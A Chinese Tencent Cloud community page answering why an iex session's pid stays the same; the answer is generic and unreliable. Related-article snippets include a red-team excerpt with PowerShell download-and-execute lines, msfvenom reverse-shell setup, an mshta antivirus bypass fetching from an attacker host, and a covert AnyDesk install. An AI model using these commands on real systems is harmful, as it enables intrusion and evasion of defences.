开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

为什么我的iex会话的pid总是相同？

iex是Elixir编程语言的交互式解释器，用于执行Elixir代码。每次启动iex会话时，会创建一个新的Elixir进程，该进程的pid（进程标识符）在该会话期间保持不变。

Elixir是基于Erlang虚拟机（BEAM）的编程语言，Erlang虚拟机使用轻量级进程（而非操作系统级别的进程）来实现并发和并行处理。这些轻量级进程由BEAM调度器管理，每个进程都有一个唯一的pid。

因此，当你启动一个新的iex会话时，实际上是创建了一个新的Elixir进程，该进程的pid会一直保持不变，直到会话结束。这样做的好处是可以在会话期间跟踪和管理进程，以及在需要时进行进程间通信。

总结起来，iex会话的pid总是相同是因为每个会话都是一个独立的Elixir进程，该进程的pid在会话期间保持不变，以便进行进程管理和通信。

腾讯云相关产品和产品介绍链接地址：

云服务器（CVM）：提供可扩展的云服务器实例，适用于各种应用场景。详情请参考：https://cloud.tencent.com/product/cvm
云原生容器服务（TKE）：基于Kubernetes的容器服务，提供高可用、弹性伸缩的容器集群管理。详情请参考：https://cloud.tencent.com/product/tke
云数据库MySQL版（CMYSQL）：提供高性能、可扩展的云数据库服务，适用于各种规模的应用。详情请参考：https://cloud.tencent.com/product/cmysql
云存储（COS）：提供安全可靠、高扩展性的对象存储服务，适用于存储和处理各种类型的数据。详情请参考：https://cloud.tencent.com/product/cos

相关搜索:不确定为什么我的函数总是返回相同的值为什么optim()总是给我相同的结果？为什么rand()总是给出相同的值？为什么System.Random总是返回相同的数字？为什么函数总是返回相同的类型？为什么匿名类型的AssemblyQualifiedName不总是相同的？为什么我保存的片段总是空的？为什么我总是得到空的结果？为什么我的"事件"总是为空？为什么我的AsyncValidator总是返回true？

相关搜索:

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

(译) Understanding Elixir Macros, Part 3 - Getting into the AST

是时候继续探索 Elixir 的宏了. 上次我介绍了一些关于宏的基本原理, 今天, 我将进入一个较少谈及的领域, 并讨论Elixir AST 的一些细节.

05

利用USB橡皮鸭在目标机器上启动Empire或Meterpreter会话

今天我将教大家如何使用Rubber Ducky在渗透中建立Empire或Meterpreter会话连接。然而对于Ducky而言，想要完成大多数现实场景中的USB攻击，往往需要花费大量的时间去实践。本文

07

2023！最新绕过AMSI的一个方法！！

Microsoft 的“ Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准，允许您的应用程序和服务与计算机上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件防护。”

03

我终于逃离了 Node

作者 | Anthony Accomazzo 译者 | 王强策划 | 蔡芳芳本文最初发布于 acco.io 网站，经原作者授权由 InfoQ 中文站翻译并分享。我在 2013 年编写了自己的第一个 Node 程序。（它是用 CoffeeScript 写的。）那个时候，Node 的优势主要体现在三个方面：第一个是“无处不在的 JavaScript”。这句话一开始的意思是“前端使用 JavaScript，后端也使用 JavaScript”，我一直觉得这个理由没那么强势。（后来它演变成了“强大就是正义”

03

红队技巧-导出凭据和密码

红队中各种抓取密码凭据的方法，文末彩蛋，内附工具链接，以及我制作的过360的minikatz的版本，各位请享用，最近筹备重新开blog，记录学习计划，不然知识我学完立马就忘了，与大家一起学习！

01

利用计划任务维持系统权限

在 Windows 系统上，可以使用计划任务来定时执行某些操作，方便用户对系统的使用和管理，红队成员也可以利用这个特性来对系统进行持久化的控制。

03

sqlps.exe白名单的利用（过S60！）

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件，用于加载SQL Server cmdlet，Microsoft Visual C#开发，可用ILSpy反编译查看源代码。

01

利用计划任务进行权限维持的几种姿势

计划任务的持久化技术可以手动实现，也可以自动实现。有效负载可以从磁盘或远程位置执行，它们可以是可执行文件、powershell脚本或scriptlet的形式。这被认为是一种旧的持久性技术，但是它仍然可以在red team场景中使用，并且由各种开源工具支持。Metasploit 的web_delivery模块可用于托管和生成各种格式的有效载荷。

02

利用windows terminal进行权限维持

由于其支持个人配置，所以我们可以在这个方面做文章，其配置文件为json文件，具体格式可参考微软给出的文档(https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings)。

02

D盾防火墙防护绕过-[命令执行限制]

D盾防火墙的“命令执行限制”是通过多种方式来进行限制的，【组件限制】是通过禁止调用wscript.shell、shell.application组件来限制执行命令。

02

通过计划任务实现持续性攻击

Windows操作系统中提供了一个实用工具schtasks.exe，系统管理可以使用该工具完成在指定日期和时间执行程序或脚本的工作。但是目前这个工具经常被黑客或者红队利用，从而实现持续性攻击。普通情况下，通过计划任务实现持续性攻击不需要用到管理员的权限，但是如果你希望能获得更加灵活的操作，例如指定用户登录时或者系统空闲时执行某个任务，还是会需要用到管理员的权限。

03

windows系统安全|Windows渗透基础大全

Windows中cmd窗口的文件下载(bitsadmin、certutil、iwr)

01

渗透测试中常用powershell（一）

参考：https://www.anquanke.com/post/id/86241

04

项目实战 | 细节决定成败的渗透测试

个人水平有限，文章若有不足之处，感谢各位大佬批评指正，希望能够与各位师傅分享学习。

04

项目实战 | 细节决定成败的渗透测试

个人水平有限，文章若有不足之处，感谢各位大佬批评指正，希望能够与各位师傅分享学习。

03

PowerShellArmoury：专为安全研究人员设计的PowerShell武器库

PowerShellArmoury是一款专为渗透测试人员、红蓝队成员或其他信息安全技术人员设计的PowerShell武器库。这个武器库提供了多种PowerShell工具，并且还允许我们下载各种PowerShell脚本，然后将其存储至一个加密文件之中。

01

CobaltStrike专题 | CobaltStrike与MSF联动

声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。

04

(译) Understanding Elixir Macros, Part 1 Basics

这是讨论宏 (Macros) 微系列文章的第一篇. 我原本计划在我即将出版的《Elixir in Action》一书中讨论这个主题, 但最终决定不这么做, 因为这个主题不符合这本书的主题, 这本书更关注底层 VM 和 OTP 的关键部分.

03

HTTP-revshell：能绕过AMSI的PowerShell代理感知型反向Shell

HTTP-revshell是一个能够绕过AMSI的PowerShell代理感知型反向Shell，这款工具转为红队研究人员以及渗透测试人员设计，能够通过HTTP/S协议来给研究人员提供一个反向Shell链接。HTTP-revshell使用了一种隐蔽的数据信道，可以通过Web请求来获取目标设备的控制权，从而绕过类似IDS、IPS和AV之类的安全解决方案。

01

反弹shell | 反弹shell总结

声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。

02

Nimbo-C2：一款功能强大的轻量级C2 框架

Nimbo-C2是一款功能强大的轻量级C2 框架，Nimbo-C2代理支持x64 Windows&Linux操作系统。该工具基于Nim和Python开发，其WIndows端使用了.NET组件。Nim的功能非常强大，但在跟Windows系统交互时使用PowerShell可能会更加简单，因此该工具的部分功能是基于PowerShell实现的。Nimbo-C2的Linux代理更加的精简，只能执行基本命令，其中包括ELF加载（通过memfd技术实现）等。

03

反弹shell的学习总结 - Part 2

dnscat2（https://github.com/iagox86/dnscat2）是一个DNS隧道，旨在通过DNS协议创建加密的命令和控制（C＆C）通道。dnscat2分为两部分：客户端和服务端。dnscat2客户端采用C语言编写，服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell（https://github.com/lukebaggett/dnscat2-powershell）。

03

ATT&CK视角下的红蓝对抗:二十二.横向移动之利用RDP进行横向渗透

横向移动是网络攻击中的一个阶段，攻击者在获得对网络中某一系统的访问权限后，尝试访问其他系统以拓展其控制范围。利用RDP（远程桌面协议）进行横向渗透是一种常见的方法，主要因为RDP（远程桌面协议）是微软开发的一种协议，它允许用户通过网络连接到另一台电脑。这种连接允许远程用户在其本地计算机上看到并控制另一台电脑的桌面界面。这在远程工作、IT支持和远程系统管理中非常有用，本篇文章主要针对了RDP（远程桌面协议）在横向移动中的进行了介绍。

04

内网系统凭证钓鱼攻击

在 Windows 系统环境中，存在许多需要用户进行身份认证的场景，比如 Outlook 登录、提升授权（用户账户控制）或者锁屏需要解锁时，通过模拟这类场景，很容易让用户上当并且不易被发现。

03

Windows内网渗透常用命令总汇

net user 查看所有用户 net localgroup administrators 获取本地管理员信息

03

Windows命令汇总

wmic qfe get Caption,Description,HotFixID,InstalledOn

02

渗透技巧 | Bypass Powershell执行策略的N种方式

1.是Windows原生的2.可以调用Windows API3.无文件执行命令4.可以逃避Anti-Virus的检测(这个其实现在还比较敏感了)5.被大多数程序加入白名单中，标记为可信的6.有许多开源的渗透工具集

02

后渗透之维护权限

‍何为‍‍“后渗透”？就是获取到受害者服务器的权限后，再继续对受害者服务器进行长期攻击或者信息获取的一种持续性手段。常见的手段有，后门、影子账户、会话‍劫‍持等等。

03

PaddlePaddle踩坑指北系列——Linux安装（一）

本周我们在社区中精选出开发者在使用PaddlePaddle过程中遇到的技术难题，希望能帮助广大用户在Linux安装过程中解答疑惑。

02

记一次从Jboss到3389远程桌面案例

翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件，存储着这个定位服务平台的相关配置信息，包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡，公网：47.**.***.77，内网：10.28.176.131，两个内网DNS服务器：10.143.22.116、10.143.22.118，并且可以与外网进行通讯。 0x04 绕过主动防御上线测试了以前常用的Powershell混淆法，不过已经被360主动防御拦了，微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性，一旦被公布被查杀和拦截也正常（早晚的事）。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了，最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话，执行getsystem即可提升为SYSTEM，执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注：mshta白名单貌似只能用x86的Payload，执行成功后会自动迁移至32位的rundll32.exe进程，所以就可能会出现由werfaylt.exe弹出的下图报错，所以个人建议在得到Session后迁移至x64进程，并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒虽然已经是最高权限了，但由于这台主机为阿里云，且存在360主动防御，就不添加用户进行远程桌面连接了，因为360会拦截添加用户，而且远程桌面连接时会触发异地登录提醒。为避免触发异地登录提醒，我们可以利用AnyDesk来进行绕过，将AnyDesk.exe和静默安装批处理文件上传至可读写目录中，然后在命令行下执行该批处理文件获取连接ID。注：如果等待时间过长，一直卡着不动获取不到连接ID时可结束当前命令行，重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面，成功的绕过了阿里云主机的异地登录提醒。至此，全文结束，内网就不搞了！！！

03

HTB系列之七：Bastard

该exploit会攻击由服务扩展创建的REST端点，我们只需要找出REST端点的名称即可利用该漏洞。

01

在WSL2中安装CentOS发行版

通过使用 tar 文件导入任何 Linux 发行版，可在适用于 Linux 的 Windows 子系统 (WSL) 中使用该发行版（即使它不在 Microsoft Store 中提供）。

03

内网渗透基石篇——权限维持分析

专注是做事成功的关键，是健康心灵的特质。当你与所关注的事物融为一体时，就不会让自己萦绕于焦虑之中。专注与放松，是同一枚硬币的两面而已。一个人对一件事只有专注投入才会带来乐趣。一旦你专注投入进去，它立刻就变得活生生起来。

02

什么是会话

2、当执行php xxx.php 时，默认系统会把当前的进程设置为会话首进程（使用strace查看），所以当前会话首进程不能使用posix_setsid 创建为会话首进程，只能使用子进程调用此函数

02

PHP中的会话

2、当执行php xxx.php 时，默认系统会把当前的进程设置为会话首进程（使用strace查看），所以当前会话首进程不能使用posix_setsid 创建为会话首进程，只能使用子进程调用此函数

03

工具| PowerShell的内网渗透之旅(二)

0x00 过渡之前提到当在执行powershell脚本时，由于默认策略的缘故，是会报错的，因此也出现了几种逃过的情况：本地权限绕过：PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1，此外还可以通过本地隐藏权限进行绕过：PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1 IEX下载

06

RedTeam之ReverseTCPShell

大家好啊，我是我们实验室的Ｍr.赵，几天前，一师傅就在说这个工具，正好，这个工具今天就出来了，我们一起来常常鲜，由于kali已经支持powershell了，这里我们就直接使用kali来演示了。

03

一些有趣的powershell加载命令

普通下载 IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") PowerShell 3.0+ IEX (iwr

01

linu0.11父进程等待子进程退出和进程退出原理分析

// 释放pcb的一页内存，重新调度进程 void release(struct task_struct * p) { int i; if (!p) return; for (i=1 ; i<NR_TASKS ; i++) if (task[i]==p) { task[i]=NULL; free_page((long)p); schedule(); ret

02

Linux进程关系

作者：Vamei 出处：http://www.cnblogs.com/vamei 欢迎转载，也请保留这段声明。谢谢！ Linux的进程相互之间有一定的关系。比如说，在Linux进程基础中，我们看到，每个进程都有父进程，而所有的进程以init进程为根，形成一个树状结构。我们在这里讲解进程组和会话，以便以更加丰富的方式了管理进程。进程组 (process group) 每个进程都会属于一个进程组(process group)，每个进程组中可以包含多个进程。进程组会有一个进程组领导进程 (process gro

05

进程ID及进程间的关系

进程相关的 ID 有多种，除了进程标识 PID 外，还包括：线程组标识 TGID，进程组标识 PGID，回话标识 SID。TGID/PGID/SID 分别是相关线程组长/进程组长/回话 leader 进程的 PID。

02

带着老李折腾山寨Workerman（四）

昨天晚上做梦梦到了栋子，就想起我俩那会儿一起摸鱼的时光。那还是五年前在[ 黑 ]鹭引擎的时候，我俩被人称为公司两大门神，具体表现在于基本一整个白天都在公司门口歇着摸鱼，就坐楼下的石凳上一边一个，各摸各的十分对称十分默契。

03

PostgreSQL中的八级锁

锁是实现数据库并发控制必不可少的功能，PostgreSQL数据库通过其特有的多版本属性实现了MVCC，实现了读不阻塞写，写不阻塞读。PostgreSQL中表锁有八个级别，不同的锁对应了不同的排他级别。值得注意的是同一时刻两个事务不能再同一个表上获取相互冲突的锁，但是一个事务是永远不会与自己冲突的，一个事务里连续获取两个有冲突的锁类型是没有问题的。

01

进程 · 全家桶

fork调用一次返回两次父进程中返回子进程id (就是大于0的意思) 子进程返回0 读时共享写时复制，可保高效

01

Linux内核编程--进程组和守护进程

进程组：进程组是多个进程的集合, 接收同一个终端的各类信号信息。进程调用setpgid(pid, pgid)可以加入一个现有的进程组或者创建一个新的进程组。

02

Python实现守护进程

專欄 ❈汤英康，Python程序员，负责设计和开发大数据监控平台的相关产品。 PyCon China2016 深圳讲师。博客：http://blog.tangyingkang.com/ ❈— Daemon场景考虑如下场景：你编写了一个python服务程序，并且在命令行下启动，而你的命令行会话又被终端所控制，python服务成了终端程序的一个子进程。因此如果你关闭了终端，这个命令行程序也会随之关闭。要使你的python服务不受终端影响而常驻系统，就需要将它变成守护进程。守护

08

免杀技巧-执行系统命令方式总结

“在渗透测试中，常常会遇到这种情况，上传一个shell上去，连上，却发现无法调用cmd.exe无法执行系统命令，这时候你往往想着，上传一个自己的cmd.exe上去，这是一套行云流水的操作，但把环境条件在变得苛刻一点，杀毒软件将监视二进制文件，例如cmd.exe,那么你会怎么做才能逃避检测？那么接下来就会介绍一些免杀思路。”

04

PostgreSQL如何快速定位阻塞SQL

| 导语数据库在执行过程中经常会遇到有SQL执行时间超长，互相阻塞的问题。如何快速找出罪魁祸首，并且干掉此类语句让流程继续，本文将简单为大家讲明。

06

守护进程（Daemon）

守护进程（Daemon）一般是为了保护我们的程序/服务的正常运行，当程序被关闭、异常退出等时再次启动程序/恢复服务。例如 http 服务的守护进程叫 httpd，mysql 服务的守护进程叫 mysqld。

03

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭